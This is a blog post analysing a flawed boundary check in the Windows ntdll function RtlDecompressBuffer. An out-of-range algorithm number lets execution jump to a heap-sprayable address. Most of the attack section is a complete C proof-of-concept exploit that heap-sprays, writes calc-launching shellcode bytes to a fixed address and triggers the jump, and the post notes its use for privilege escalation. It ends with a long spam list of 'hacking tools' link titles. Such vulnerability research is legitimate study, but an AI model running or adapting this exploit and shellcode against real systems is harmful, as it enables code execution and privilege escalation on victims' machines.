Saturday, 20 January 2024

RtlDecompresBuffer Vulnerability

Introduction

The RtlDecompressBuffer is a WinAPI implemented on ntdll that is often used by browsers and applications and also by malware to decompress buffers compressed on LZ algorithms for example LZNT1.

The first parameter of this function is a number that represents the algorithm to use in the decompression, for example the 2 is the LZNT1. This algorithm switch is implemented as a callback table with the pointers to the algorithms, so the boundaries of this table must be controlled for avoiding situations where the execution flow is redirected to unexpected places, specially controlled heap maps.

The algorithms callback table







Notice the five nops at the end probably for adding new algorithms in the future.

The way to jump to this pointers depending on the algorithm number is:
call RtlDecompressBufferProcs[eax*4]

The bounrady checks

We control eax because is the algorithm number, but the value of eax is limited, let's see the boudary checks:

 
 
 
int  RtlDecompressBuffer(unsigned __int8 algorithm, int a2, int a3, int a4, int a5, int a6) {   int result; // eax@4    if ( algorithm & algorithm != 1 )   {     if ( algorithm & 0xF0 )       result = -1073741217;     else       result = ((int (__stdcall *)(int, int, int, int, int))RtlDecompressBufferProcs[algorithm])(a2, a3, a4, a5, a6);   }   else   {     result = -1073741811;   }   return result; }

Regarding that decompilation seems that we can only select algorithm number from 2 to 15, regarding that  the algorithm 9 is allowed and will jump to 0x90909090, but we can't control that addess.



let's check the disassembly on Win7 32bits:

  • the movzx limits the boundaries to 16bits
  • the test ax, ax avoids the algorithm 0
  • the cmp ax, 1 avoids the algorithm 1
  • the test al, 0F0h limits the boundary .. wait .. al?


Let's calc the max two bytes number that bypass the test al, F0h

unsigned int max(void) {
        __asm__("xorl %eax, %eax");
        __asm__("movb $0xff, %ah");
        __asm__("movb $0xf0, %al");
}

int main(void) {
        printf("max: %u\n", max());
}

The value is 65520, but the fact is that is simpler than that, what happens if we put the algorithm number 9? 



So if we control the algorithm number we can redirect the execution flow to 0x55ff8890 which can be mapped via spraying.

Proof of concept

This exploit code, tells to the RtlDecompresBuffer to redirect the execution flow to the address 0x55ff8890 where is a map with the shellcode. To reach this address the heap is sprayed creating one Mb chunks to reach this address.

The result on WinXP:

The result on Win7 32bits:


And the exploit code:

/*     ntdll!RtlDecompressBuffer() vtable exploit + heap spray     by @sha0coder  */  #include  #include  #include   #define KB  1024 #define MB  1024*KB #define BLK_SZ 4096 #define ALLOC 200 #define MAGIC_DECOMPRESSION_AGORITHM 9  // WinXP Calc shellcode from http://shell-storm.org/shellcode/files/shellcode-567.php /* unsigned char shellcode[] = "\xeB\x02\xBA\xC7\x93" "\xBF\x77\xFF\xD2\xCC" "\xE8\xF3\xFF\xFF\xFF" "\x63\x61\x6C\x63"; */  // https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html char *shellcode =        "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"        "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"        "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"        "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"        "\x57\x78\x01\xc2\x8b\x7a\x20\x01"        "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"        "\x45\x81\x3e\x43\x72\x65\x61\x75"        "\xf2\x81\x7e\x08\x6f\x63\x65\x73"        "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"        "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"        "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"        "\xb1\xff\x53\xe2\xfd\x68\x63\x61"        "\x6c\x63\x89\xe2\x52\x52\x53\x53"        "\x53\x53\x53\x53\x52\x53\xff\xd7";   PUCHAR landing_ptr = (PUCHAR)0x55ff8b90; // valid for Win7 and WinXP 32bits  void fail(const char *msg) {   printf("%s\n\n", msg);   exit(1); }  PUCHAR spray(HANDLE heap) {   PUCHAR map = 0;    printf("Spraying ...\n");   printf("Aproximating to %p\n", landing_ptr);    while (map < landing_ptr-1*MB) {     map = HeapAlloc(heap, 0, 1*MB);   }    //map = HeapAlloc(heap, 0, 1*MB);    printf("Aproximated to [%x - %x]\n", map, map+1*MB);     printf("Landing adddr: %x\n", landing_ptr);   printf("Offset of landing adddr: %d\n", landing_ptr-map);    return map; }  void landing_sigtrap(int num_of_traps) {   memset(landing_ptr, 0xcc, num_of_traps); }  void copy_shellcode(void) {   memcpy(landing_ptr, shellcode, strlen(shellcode));  }  int main(int argc, char **argv) {   FARPROC RtlDecompressBuffer;   NTSTATUS ntStat;   HANDLE heap;   PUCHAR compressed, uncompressed;   ULONG compressed_sz, uncompressed_sz, estimated_uncompressed_sz;    RtlDecompressBuffer = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlDecompressBuffer");    heap = GetProcessHeap();    compressed_sz = estimated_uncompressed_sz = 1*KB;    compressed = HeapAlloc(heap, 0, compressed_sz);    uncompressed = HeapAlloc(heap, 0, estimated_uncompressed_sz);     spray(heap);   copy_shellcode();   //landing_sigtrap(1*KB);   printf("Landing ...\n");    ntStat = RtlDecompressBuffer(MAGIC_DECOMPRESSION_AGORITHM, uncompressed, estimated_uncompressed_sz, compressed, compressed_sz, &uncompressed_sz);    switch(ntStat) {     case STATUS_SUCCESS:       printf("decompression Ok!\n");       break;      case STATUS_INVALID_PARAMETER:       printf("bad compression parameter\n");       break;       case STATUS_UNSUPPORTED_COMPRESSION:       printf("unsuported compression\n");       break;      case STATUS_BAD_COMPRESSION_BUFFER:       printf("Need more uncompressed buffer\n");       break;      default:       printf("weird decompression state\n");       break;   }    printf("end.\n"); } 

The attack vector
 
This API is called very often in the windows system, and also is called by browsers, but he attack vector is not common, because the apps that call this API trend to hard-code the algorithm number, so in a normal situation we don't control the algorithm number. But if there is a privileged application service or a driver that let to switch the algorithm number, via ioctl, config, etc. it can be used to elevate privileges on win7
More info
  1. Tools For Hacker
  2. Tools For Hacker
  3. Hack Apps
  4. What Is Hacking Tools
  5. Tools For Hacker
  6. Hack Apps
  7. Pentest Tools Apk
  8. Pentest Tools Tcp Port Scanner
  9. Hacker Tools Online
  10. Hacking Tools For Mac
  11. Hacker Tool Kit
  12. Hack Tools Mac
  13. Kik Hack Tools
  14. Hacking Tools Name
  15. What Is Hacking Tools
  16. Ethical Hacker Tools
  17. Pentest Tools Apk
  18. Beginner Hacker Tools
  19. Pentest Tools Alternative
  20. Hacker
  21. Hacking Tools Kit
  22. Tools 4 Hack
  23. Hacker Tools Online
  24. Hacker Tools 2019
  25. Hacker Tools Windows
  26. Hacking Tools For Windows
  27. Pentest Reporting Tools
  28. New Hack Tools
  29. Hacker Tools Linux
  30. Hacker Tool Kit
  31. Hacker Tools For Pc
  32. How To Make Hacking Tools
  33. Hacker Hardware Tools
  34. New Hack Tools
  35. Pentest Tools Windows
  36. Hacking Tools Pc
  37. Hacker Tools 2019
  38. Hacking Tools For Mac
  39. Hacking Tools For Beginners
  40. Pentest Tools For Mac
  41. Hack Tools For Ubuntu
  42. Hacker
  43. Pentest Tools For Mac
  44. Hacking Tools Name
  45. Top Pentest Tools
  46. Pentest Tools Nmap
  47. Kik Hack Tools
  48. Android Hack Tools Github
  49. Hacking Tools Download
  50. Physical Pentest Tools
  51. Hacking Tools Pc
  52. Hacker Tools Github
  53. Hack Tools For Ubuntu
  54. Hacking Tools And Software
  55. Hacker Tools For Ios
  56. Hacking Tools Mac
  57. Pentest Tools Url Fuzzer
  58. Pentest Tools For Android
  59. Bluetooth Hacking Tools Kali
  60. Hack Tools Github
  61. Pentest Tools Free
  62. Hacker Tools For Mac
  63. What Are Hacking Tools
  64. Pentest Tools Tcp Port Scanner
  65. Pentest Tools Github
  66. Pentest Box Tools Download
  67. Hack Tools
  68. New Hack Tools
  69. Hacker Tools For Ios
  70. Hack Tools For Pc
  71. Hack Website Online Tool
  72. Hack App
  73. Pentest Tools
  74. Hacking Tools Kit
  75. Hacking Tools Download
  76. Pentest Tools For Android
  77. Game Hacking
  78. Hacker Tools Free Download
  79. Hacker Tools Mac
  80. Underground Hacker Sites
  81. Hacking Tools
  82. Pentest Tools For Windows
  83. Hacker Hardware Tools
  84. Pentest Tools Kali Linux
  85. Pentest Tools Bluekeep
  86. Hacking Tools 2020
  87. Hack Rom Tools
  88. Hacker Tools Mac
  89. Hack Tools
  90. Hacker Search Tools
  91. Tools 4 Hack
  92. Hackers Toolbox
  93. Hacking Tools Name
  94. Pentest Tools
  95. How To Hack
  96. Termux Hacking Tools 2019
  97. Hacking Tools For Windows 7
  98. Hacking Tools Name
  99. Hack Tools Online
  100. Hacking Tools Online
  101. Hack Tools Github
  102. Hack Tool Apk No Root
  103. Hacking Apps
  104. Install Pentest Tools Ubuntu
  105. Best Hacking Tools 2019
  106. Hacking Tools For Windows Free Download
  107. Hack Tools For Pc
  108. Hacker Tools Free
  109. How To Make Hacking Tools
  110. Pentest Tools Tcp Port Scanner
  111. Hack Tools For Games
  112. Kik Hack Tools
  113. Underground Hacker Sites
  114. Hacker Tools For Mac
  115. Pentest Tools Framework
  116. Wifi Hacker Tools For Windows
  117. Pentest Tools For Android
  118. Hack Website Online Tool
  119. Hacker Tools Linux
  120. Github Hacking Tools
  121. Hacker Tools Online
  122. Computer Hacker
  123. Hacking Tools Usb
  124. Best Hacking Tools 2020

No comments:

Post a Comment